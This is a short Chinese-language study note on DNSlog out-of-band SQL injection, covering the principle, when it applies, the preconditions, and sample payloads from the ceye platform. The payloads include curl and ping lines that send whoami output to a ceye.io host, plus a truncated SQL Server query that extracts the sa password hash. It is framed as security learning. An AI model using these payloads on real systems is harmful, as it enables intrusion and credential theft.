郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
SQL 注入之:DNSlog 注入
1 原理
- DNSlog 就是存储在 DNS 服务器上的域名解析记录,DNSlog 记录着浏览器对域名访问的信息,利用 DNSlog 能读取多级域名的解析日志,获取信息。
- 发起带有查询语句 DNS 查询请求,通过 DNS 请求查询到值,组合成三级域名,在 NS 服务器 DNS 的日志中显示出来。
2 利用场景
- 当 WEB 应用程序存在 SQL 注入漏洞时,页面无回显,在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
- 利用盲注二分法、布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截甚至会被封 IP;
- 此时利用 DNSlog 注入,把请求的内容外带出来,通过查询 DNSlog 得到想要的结果。
3 前提条件
- 拥有一台 DNSlog 服务器
- 目标主机能够访问互联网
- 用户具有文件读写权限
- 可以使用 union 查询
- 知道要读文件的绝对路径
(1)查询用户的文件权限
4 平台
5 Payloads
ceye
网站中的 payloads 示例
0x00 命令执行
i. *nix:
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
ii. windows
ping %USERNAME%.b182oj.ceye.io
0x01 SQL Injection
i. SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa'